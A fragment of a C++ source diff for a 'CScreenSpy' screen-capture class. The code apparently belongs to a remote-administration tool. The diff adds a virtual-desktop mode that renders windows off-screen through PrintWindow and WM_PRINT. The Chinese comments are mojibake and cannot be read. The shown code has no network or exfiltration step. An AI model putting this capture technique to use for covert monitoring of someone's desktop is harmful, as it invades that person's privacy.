-	HDC              m_hFullDC;          //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
+protected:
+	HDC              m_hDeskTopDC;          // <20><>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	HDC              m_hFullMemDC;          // <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	HDC              m_hDiffMemDC;          // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	HBITMAP	         m_BitmapHandle;        // <20><>һ֡λͼ
+	HBITMAP	         m_DiffBitmapHandle;    // <20><><EFBFBD><EFBFBD>֡λͼ
+	PVOID            m_BitmapData_Full;     // <20><>ǰλͼ<CEBB><CDBC><EFBFBD><EFBFBD>
+	PVOID            m_DiffBitmapData_Full; // <20><><EFBFBD><EFBFBD>λͼ<CEBB><CDBC><EFBFBD><EFBFBD>

-	HDC              m_hFullMemDC;
-	HBITMAP	         m_BitmapHandle;
-	PVOID            m_BitmapData_Full;
-
-	HDC              m_hDiffMemDC;
-	HBITMAP	         m_DiffBitmapHandle;
-	PVOID            m_DiffBitmapData_Full;
-
-	ULONG            m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
+	BOOL					m_bVirtualPaint;// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	EnumHwndsPrintData		m_data;

 public:
-	CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop = DEFAULT_GOP);
+	CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP);

 	virtual ~CScreenSpy();

@@ -65,21 +117,69 @@ public:
 		return m_BitmapInfor_Full->bmiHeader.biSizeImage;
 	}

-	FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength)
+	static BOOL PaintWindow(HWND hWnd, EnumHwndsPrintData* data)
 	{
-		memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
-		m_RectBufferOffset += ulLength;
+		if (!IsWindowVisible(hWnd) || IsIconic(hWnd))
+			return TRUE;
+
+		RECT rect;
+		if (!GetWindowRect(hWnd, &rect))
+			return FALSE;
+
+		HDC hDcWindow = data->GetWindowDC();
+		HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp());
+		BOOL ret = FALSE;
+		if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT,
+			(WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) {
+			BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(),
+				rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
+
+			ret = TRUE;
+		}
+		SelectObject(hDcWindow, hOldBmp);
+
+		return ret;
+	}
+
+	static int EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param)
+	{
+		HWND currentWindow = GetTopWindow(owner);
+		if (currentWindow == NULL)
+			return -1;
+		if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL)
+			return -2;
+		while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL);
+		return 0;
+	}
+
+	static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
+	{
+		AUTO_TICK_C(50);
+		if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
+			char text[_MAX_PATH] = {};
+			GetWindowText(hWnd, text, sizeof(text));
+			Mprintf("PaintWindow %s[%p] failed!!!\n", text, hWnd);
+		}
+
+		static OSVERSIONINFOA versionInfo = { sizeof(OSVERSIONINFOA) };
+		static BOOL result = GetVersionExA(&versionInfo);
+		if (versionInfo.dwMajorVersion < 6) {
+			DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE);
+			SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED);
+			EnumWindowsTopToDown(hWnd, EnumHwndsPrint, lParam);
+		}
+
+		return TRUE;
 	}

 	virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);

 	virtual LPBYTE ScanNextScreen() {
-		ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
+		ScanScreen(m_hDiffMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
 		return (LPBYTE)m_DiffBitmapData_Full;
 	}

 	VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
-
 };

 #endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)